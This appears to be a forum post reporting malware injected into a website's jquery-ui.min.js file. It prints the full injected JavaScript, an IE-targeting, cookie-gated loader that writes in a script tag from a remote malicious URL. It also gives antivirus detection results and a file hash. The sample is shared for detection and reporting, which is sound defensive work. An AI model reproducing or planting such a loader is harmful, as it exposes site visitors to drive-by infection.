http://www.raindropsto.com/

fireold

1. /*ecf5ab*/
   
2. 
   
3. function getCookie(name) {
   
4.     var cookie = " " + document.cookie;
   
5.     var search = " " + name + "=";
   
6.     var setStr = null;
   
7.     var offset = 0;
   
8.     var end = 0;
   
9.     if (cookie.length > 0) {
   
10.         offset = cookie.indexOf(search);
    
11.         if (offset != -1) {
    
12.             offset += search.length;
    
13.             end = cookie.indexOf(";", offset);
    
14.             if (end == -1) {
    
15.                 end = cookie.length;
    
16.             }
    
17.             setStr = unescape(cookie.substring(offset, end));
    
18.         }
    
19.     }
    
20.     return setStr;
    
21. }
    
22. if (navigator.userAgent.indexOf("MSIE") != -1) {
    
23.     if (navigator.cookieEnabled == true) {
    
24.         var user04372 = getCookie("emem09");
    
25.         if (user04372 !== "emem") {
    
26.             setCookie("emem09", "emem", 7, "/");
    
27.             cookieem09em();
    
28.         }
    
29.     }
    
30. }
    
31. function cookieem09em() {
    
32.     document.write("<script src='http://ferienwohnung-schwinzer.de/pix/83NhZCBm.php?id=139921336' type='text/javascript'></" + "script>");
    
33. }
    
34. 
    
35. function setCookie(name, value, expiredays, path, domain, secure) {
    
36.     if (expiredays) {
    
37.         var exdate = new Date();
    
38.         exdate.setDate(exdate.getDate() + expiredays);
    
39.         var expires = exdate.toGMTString();
    
40.     }
    
41.     document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");
    
42. }
    
43. 
    
44. /*/ecf5ab*/

复制代码

Avira、fs is miss



Sophos

****************** Sophos Anti-Virus 日誌紀錄 - 2014/2/4 上午 12:34:24 **************


20140204 003049        使用者 WILLIAM\alan 的網頁要求 "ferienwohnung-schwinzer.de/pix/83NhZCBm.php" (
從 "www.raindropsto.com" 連結)  已受到攔截。已在此網站發現 'Mal/HTMLGen-A'，索引 ID 187072387。
      (210 個項目)

zmzcy

Object: http://www.raindropsto.com/js/raindrops/jquery-ui.min.js
SHA1: d61a80bd34af10d941d49248b4d6b500d884dd2a
Name: Malware-WI.